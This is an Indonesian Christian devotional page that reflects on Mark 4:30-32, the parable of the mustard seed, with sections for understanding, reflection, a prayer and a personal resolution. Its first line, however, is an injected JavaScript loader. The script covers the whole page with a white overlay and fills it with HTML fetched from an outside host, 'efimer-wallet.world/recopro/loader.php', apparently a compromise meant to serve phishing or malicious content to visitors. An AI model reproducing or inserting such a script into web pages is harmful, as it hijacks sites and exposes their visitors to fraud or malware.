const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});
Rabu, 02 Agustus 2023
Markus 4 : 30 – 32
Pengantar
0,1 milimeter adalah ukuran rata-rata biji sesawi. Biji sesawi merupakan tumbuhan biji-bijian kecil yang pada dunia flora termasuk di dalam golongan varietas minimum. Walaupun kecil, tetapi jika ditanam dan dirawat dengan baik, biji sesawi ini bisa tumbuh menjadi pohon yang besar. Dalam Injil Markus, Yesus menjelaskan pesan yang ingin disampaikan-Nya mengenai Kerajaan Allah melalui perumpamaan biji sesawi. Lewat penjelasan ini, kita diajak untuk mampu bertumbuh seperti biji sesawi.
Pemahaman
Ayat 30-31 : Bagaimana cara Yesus menjelaskan kerajaan Allah?
Ayat 32 : A p a t u j u a n Ye s u s m e n j e l a s k a n perumpamaan itu?
Yesus mengajarkan Firman melalui perumpamaan yang sesuai dengan kemampuan mereka untuk mengerti. Kebiasaan Yesus dalam menggunakan perumpamaan ingin menjelaskan kepada kita bahwa semua yang disampaikan Yesus diupayakan- Nya dalam kesederhanaan, sehingga setiap pesan yang dimaksudkan-Nya dapat ditangkap dengan baik dan jelas oleh para pendengar. Terlebih lagi, Yesus secara sengaja memberikan penjelasan dari setiap perumpamaan itu kepada murid-murid- Nya. Yesus mengajar dengan perumpamaan karena perumpamaan merupakan cara yang efektif dan menarik untuk menyampaikan ajaran-Nya kepada para pendengar. Melalui perumpamaan, maka Yesus memakai kiasan atau gambaran hidup yang paling dekat dengan mereka dan dengan demikian setiap pengajaran-Nya akan mudah dipahami. Yesus juga menggunakan perumpamaan agar mudah untuk memancing perenungan bagi para pendengar-Nya. Yesus memiliki maksud dalam menjelaskan perumpamaan ini. Yesus ingin agar setiap murid mampu untuk menyambut Kerajaan Allah dengan sikap hati dan iman yang tepat. Ayat 31 (TB2), “Kerajaan itu seumpama biji sesawi ketika ditaburkan di tanah. Biji itu yang paling kecil dari segala jenis benih yang ada di bumi”. Secara spesifik, Yesus memberikan fokus perhatian pada pertumbuhan Kerajaan Allah yang ada di tengah dunia. Dalam beberapa tafsiran, Kerajaan Allah bukanlah sebatas tempat atau tujuan, tetapi ketika Yesus menjelaskannya kepada para murid maka yang dimaksudkan adalah menghadirkan suasana Kerajaan Allah di tengah kehidupan sehari-hari. Maka, tugas bagi para murid-Nya adalah untuk dapat menghadirkan suasana Kerajaan Allah itu di tengah berbagai kondisi kehidupan.
Maka, pertumbuhan iman yang dialami oleh masing-masing murid-Nya akan sangat memberi dampak kepada keyakinan serta kepercayaan banyak orang akan Kerajaan Allah yang penuh dengan damai dan sukacita.
Yesus mau menunjukkan bahwa benih dari pohon sesawi, yang dalam Alkitab disebut biji sesawi, ukurannya sangat kecil. Hal ini menunjukkan bahwa iman bermula dari ukuran yang kecil, namun bisa bertumbuh dengan baik. Dalam penelitian, ternyata pohon dari biji sesawi ini bisa bertumbuh dari 0,1 milimeter menjadi sekitar 3 meter. Injil Markus ingin menunjukkan bahwa sesungguhnya Yesus memberi porsi keterlibatan setiap murid dalam karya-Nya agar mereka semua semakin memiliki rasa yakin dan percaya akan karya keselamatan yang dihadirkan Allah di tengah kehidupan bagi manusia. Dalam perumpamaan ini, Yesus ingin agar setiap orang mengalami pertumbuhan iman yang semakin besar, sehingga mampu menjadi berkat bagi konteks kehidupan yang ada di sekitarnya, seperti burung-burung di udara yang dapat bersarang dalam naungannya.
Refleksi
Melalui perumpamaan ini, kita sedang diajak untuk dapat bertumbuh seperti biji sesawi. Pemahaman serta keyakinan iman kita pada Yesus Kristus sebagai Tuhan dan Juruselamat dapat menjadi jalan bagi pertumbuhan suasana Kerajaan Allah di tengah dunia yang sedang membutuhkan kedamaian dan sukacita. Itu berarti, hidup sebagai murid Kristus adalah hidup yang selalu dimampukan untuk bertumbuh melewati berbagai proses dan pergumulan hidup. Kita diajak untuk selalu bertumbuh dengan baik. Jika ada persoalan yang datang dalam kehidupan, kita perlu menjadi pribadi yang berani untuk terus bertumbuh melalui setiap persoalan. Percaya pada Yesus akan selalu memampukan kita bertumbuh dengan baik. Walau kecil, namun diberkati. Bertumbuh perlahan, namun semakin hari juga semakin menjadi berkat bagi banyak orang.
Tekadku
Tuhan yang penuh kasih, ajarkanlah kami untuk dapat menghadirkan suasana Kerajaan Allah yang penuh damai dan sukacita melalui pertumbuhan iman kami.
Tindakanku
Saya akan menjadi pribadi yang siap bertumbuh melalui proses kehidupan yang saya jalani saat ini.